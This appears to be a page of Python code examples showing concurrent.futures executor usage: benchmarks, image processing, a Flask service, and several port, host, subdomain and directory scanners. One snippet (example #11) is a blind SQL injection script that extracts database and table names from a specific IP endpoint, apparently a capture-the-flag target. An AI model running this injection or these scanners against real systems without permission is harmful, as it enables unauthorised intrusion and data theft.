예제 #1
0
def main():
	parser = argparse.ArgumentParser()
	parser.add_argument("-w", "--wordlist", help="Domains List File", type=str, required=True)
	parser.add_argument("-t", "--thread", help="Theads Number - (Default: 10)", type=int)
	parser.add_argument("-o", "--output", help="Save Results In a File", type=str) #action='store_true'

	args = parser.parse_args()

	wlist = str(args.wordlist)
	threads = str(args.thread)
	out = str(args.output)

	if threads == 'None':
		threads = 10
	else:
		threads = threads

	lines = len(open(wlist).readlines())
	print(blue +"["+red+"+"+blue+"] File: " + end + wlist)
	print(blue +"["+red+"+"+blue+"] Length: " + end + str(lines))
	print(blue +"["+red+"+"+blue+"] Threads: " + end + str(threads))
	print(blue +"["+red+"+"+blue+"] Output: " + end + str(out))
	print(red+bold+"\n[+] Results:\n"+end)

	urls = open(wlist, 'r')
	
	with executor(max_workers=int(threads)) as exe:
		[exe.submit(check, out, url.strip('\n')) for url in urls]
예제 #2
0
def main():
    s = time.perf_counter()

    with executor(max_workers=WORKERS) as pool:
        for w in range(WORKERS):
            logger.debug(f"Submitting worker {w}")
            pool.submit(worker, w, loops)
        logger.debug("Finished submitting workers.")
    logger.debug("Finished with executor.")

    elapsed = time.perf_counter() - s
    logger.info(f"{__file__} executed in {elapsed:0.2f} seconds.".format())
예제 #3
0
def main():
	parser = argparse.ArgumentParser()
	parser.add_argument("-t", "--target", help="Target IP/Host", type=str)
	parser.add_argument("-d", "--thread", help="threads number (Default 5)", type=int)
	parser.add_argument("-p", "--port", help="Ports range (Example: -p 20-1024)", type=str)
	args = parser.parse_args()

	target = str(args.target)
	thread = args.thread
	ports = str(args.port)

	if target == "None":
		parser.print_help()
		exit(1)
	if thread == None:
		thread = 5

	if ports == "None":
		ports = range(65535)
		p = "1-65535"
	else:
		try:
			p = ports
			ports = ports.split("-")
			ports = range(int(ports[0]), int(ports[1]))
		except IndexError:
			print("-p/--port, should be a range of ports, Example: -p 20-1024")
			exit(1)

	print(green+"[+] Target: "+end+target)
	print(green+"[+] Threads: "+end+str(thread))
	print(green+"[+] Ports: "+end+p)
	print(bold+"\n[+] Start The Scan\n"+end)
	print("PORT          SERVICE")
	print("----          -------")

	with executor(max_workers=int(thread)) as exe:
		try:
			[exe.submit(scan, target, port, len(str(port))) for port in ports]
		except KeyboardInterrupt:
			print(red+"[-] Exiting!"+end)
			exit(1)



	took = time.time() - start
	t = str(took).split('.')[0]
	m = int(t) / 60
	s = int(t) % 60
	
	print("                            \r")
	print(blue+"[+] Took: "+end+str(m)+":"+str(s))
예제 #4
0
def myExactCLAHE(path, N, threshold):
    if (isinstance(path, str)):
        img = extractImage(path)
    elif (isinstance(path, np.ndarray)):
        img = path
    else:
        raise TypeError('Enter path or image')

    m, n = img.shape[:2]

    img_copy = np.ones(
        ((m + 2 * (N // 2)), (n + 2 * (N // 2)), 3), dtype='int') * 300
    img_copy[(N // 2):(m + N // 2), (N // 2):(n + N // 2)] = img

    print(img_copy.shape)
    out = np.zeros(img.shape, dtype=np.float64)

    with executor() as process:
        val = []
        for tup in gen_windows(img_copy, N, threshold, m, n):
            val.append(process.submit(make_hist, tup))

    for v in val:
        value, key = v.result()
        [i, j] = key
        out[i - (N // 2)][j - (N // 2)] = value

    image_titles = ["Original Image", "Contrasted Image"]

    ax = plt.subplot(1, 2, 1)
    im = ax.imshow(img)
    ax.set_title(image_titles[0])

    ax = plt.subplot(1, 2, 2)

    im = ax.imshow(out)
    ax.set_title(image_titles[1])
    divider = make_axes_locatable(ax)

    cax = divider.append_axes('right', size='5%', pad=0.05)
    plt.colorbar(im, cax=cax)

    return out
예제 #5
0
def pmap(args):
    st = time.time()
    n = 2 if args.n == None else args.n
    host = ip_init(args)
    port = port_init(args)
    output_dict = {}
    output = []

    if args.m == 'proc':
        if args.f == 'ping':
            pool = Pool(n)
            output = pool.map(ping_func, host)
            pool.close()
            pool.join()

        if args.f == 'tcp':
            for i in host:
                pool = Pool(n)
                output += pool.map(functools.partial(tcp_func, str(i)), port)
                pool.close()
                pool.join()
    if args.m == 'thread':
        with executor(n) as pool:
            if args.f == 'ping':
                output = pool.map(ping_func, host)

            if args.f == 'tcp':
                for i in host:
                    output += pool.map(functools.partial(tcp_func,
                                                         str(i)), port)
    if args.w:
        for l in output:
            output_dict.update(l)
        ouput_json = json.dumps(output_dict, indent=4, sort_keys=True)
        t = time.strftime('%Y%m%d%H%M%S', time.localtime())
        with open('./'+args.f+'_test_result_'+t+'.json', 'wt') as f:
            f.write(ouput_json)
        print('output saved in json file:./'+args.f+'_test_result_'+t+'.json')
    et = time.time()
    if args.v:
        print(f'Scanning spent {str(round(et-st,3))} s')
예제 #6
0
def Main():
    try:
        parser.add_option("-t",
                          dest="target",
                          type="string",
                          help="the target domain")
        parser.add_option("-w",
                          dest="wordlist",
                          type="string",
                          help="wordlist file")
        parser.add_option("-d",
                          dest="thread",
                          type="int",
                          help="the thread number")
        parser.add_option("-e",
                          dest="extension",
                          type="string",
                          help="the extendions")
        (options, args) = parser.parse_args()
        if options.target == None or options.wordlist == None:
            print(parser.usage)
            exit(1)
        else:
            target = str(options.target)
            wordlist = str(options.wordlist)
            thread = str(options.thread)
            ext = str(options.extension)

            if thread == "None":
                thread = 10
            else:
                thread = thread

            if target.startswith("http"):
                target = target
            else:
                target = "http://" + target

            if target.endswith("/"):
                target = target
            else:
                target = target + "/"

            lines = len(open(wordlist).readlines())

            print("[" + yellow + bold + "Info" + end + "]:\n")
            print(blue + "[" + red + "+" + blue + "] Target: " + end + target)
            print(blue + "[" + red + "+" + blue + "] File: " + end + wordlist)
            print(blue + "[" + red + "+" + blue + "] Length: " + end +
                  str(lines))
            print(blue + "[" + red + "+" + blue + "] Thread: " + end +
                  str(thread))
            print(blue + "[" + red + "+" + blue + "] Extension: " + end +
                  str(ext))
            print("\n[" + yellow + bold + "Start Searching" + end + "]:\n")

            if ext == None:
                ext = "Null"
            else:
                ext = ext.split(",")

            urls = open(wordlist, 'r')
            with executor(max_workers=int(thread)) as exe:
                jobs = [
                    exe.submit(presearch, target, ext, url.strip('\n'))
                    for url in urls
                ]

            took = time.time() - start
            took = took / 60
            took = round(took, 2)

            print(red + "Took: " + end + str(took) + " m" +
                  "                          \r")

            print("\n\t* Happy Hacking *")
    except Exception as e:
        print(red + "#Error: " + end + str(e))
        exit(1)
예제 #7
0
                    help="To Ignore The Errors",
                    action='store_true')
parser.add_argument("-o",
                    "--output",
                    help="Save The Results To a File",
                    type=str)

args = parser.parse_args()

links = str(args.wordlist)
threads = str(args.thread)
ig = str(args.ignore)
out = str(args.output)

lines = len(open(links).readlines())

if threads == 'None':
    threads = 10

print(blue + "[" + red + "+" + blue + "] File: " + end + links)
print(blue + "[" + red + "+" + blue + "] Length: " + end + str(lines))
print(blue + "[" + red + "+" + blue + "] Output: " + end + str(out))
print(blue + "[" + red + "+" + blue + "] Threads: " + end + str(threads))
print(blue + "[" + red + "+" + blue + "] Ignore: " + end + str(ig))

print(red + "\n[+] Results:\n" + end)

urls = open(links, 'r')
with executor(max_workers=int(threads)) as exe:
    [exe.submit(check, out, ig, url.strip('\n')) for url in urls]
예제 #8
0
 def get_images(self):
     with executor(max_workers=self.workers) as exe:
         self.results = exe.map(download, self.links)
예제 #9
0
		return True
		
	except Exception:
		#writer(url,'down')
		return False


try:
	urlsfile = sys.argv[1]#raw_input("[subdomains]> ")
	domain = sys.argv[2]

except Exception:
	print(blue + "#Usage:\n\tpython subchecker.py <paths file> <domain>\n" + end)
	exit(0)


urls = open(urlsfile, 'r')


with executor(max_workers=20) as exe:
	jobs = [exe.submit(checkstatus, domain, url.strip('\n')) for url in urls]
	#results = [job.result() for job in jobs]
	
#print('\n'.join(results))


print(red+"Took: "+end, time.time() - start, "                          \r")

print("\n\t* Happy Hacking *")

예제 #10
0
#!flask/bin/python
import sys
from flask import Flask, jsonify, request
from concurrent.futures import ThreadPoolExecutor as executor
import Order, UrlHelpers, json

app_pbm = Flask(__name__)
executor = executor(max_workers=3)
received_orders = []


@app_pbm.route('/<path>', methods=['POST'])
def catch_all(path):
    print('tut')
    print(request.url)
    print(repr(path))
    return path


@app_pbm.route('/v1', methods=['POST'])
def process_order():
    data = request.get_json(silent=True)
    print('Receiving data: %s' % data)
    order_id = data.get('orderID')
    tracking_number = 'tr%s' % order_id.rjust(15, '0')
    msg_type = request.headers.get('msgType')
    if msg_type == 'EP_PBM_Order_Creation':
        print('Creating oder')
        goods_list = data.get('parcel').get('goodsList')
        if type(goods_list) == list:
            print('goods_list->list')
예제 #11
0
		url = "http://35.190.155.168/0f0154aa10/fetch?id=1"
		if target == 'database':
			query = " and database() LIKE"
		elif target == 'table1':
			query = " AND (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1) LIKE"
		elif target == 'table2':
			query = " AND (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1) LIKE"
		data = "".join(like)

		try:
			req = requests.get(url + query + " '%s'" % data)
		except requests.exceptions.ConnectionError:
			req = requests.get(url + query + " '%s'" % data)

		printer("Status: "+str(req.status_code)+" | Data: "+data)
		if req.status_code == 200:
			results[position] = i
			res = "".join(results)
			print("[+] Found: "+res+"                   \r")
			return True
	

for target in ['database','table1','table2']:
	print("\n[+] Getting the name of The: "+target)
	with executor(max_workers=6) as exe:
		[exe.submit(scan, i, name, target) for i in range(6)]
	res = "".join(results)
	print("[*] "+target + " Found: "+res)
	results = ['_','_','_','_','_','_']
	
예제 #12
0
    def __init__(self, template='', file_out='', **kwargs):
        self.template = template
        self.file_out = file_out

        self.__execute = lambda function: executor().submit(function)
예제 #13
0
파일: pyscan.py 프로젝트: V0IDj/PyScanner-1
parser.add_argument('-s', dest='scan', help='Scan type: \'full\' to include port scanning, \'normal\' to check connected hosts only')
parsed_args = parser.parse_args()

ip_range = parsed_args.range
scan_type = parsed_args.scan
hosts_up = []

try:
    if '/' not in ip_range:
        print(Fore.YELLOW + '\nYou entered IP address for one device\n' + Fore.WHITE)
        isUp = single_host(ip_range)
    else:
        print(Fore.BLUE + '\nStarting The Scan...\n' + Fore.WHITE)
        time.sleep(3)
        net_ip = ip_range[:11]
        with executor(max_workers=1000) as exe:
            for device in range(1,256):
                exe.submit(multi_hosts, (net_ip + str(device)))
        print()

except TypeError:
    print(Fore.RED + parser.description + Fore.WHITE)
    sys.exit(1)

except KeyboardInterrupt:
    print('\n')
    sys.exit(1)
finally:
    if '/' not in ip_range and isUp:
        if scan_type == 'ping':
            print(f'\n{Fore.YELLOW}Scan Finished!!{Fore.WHITE}')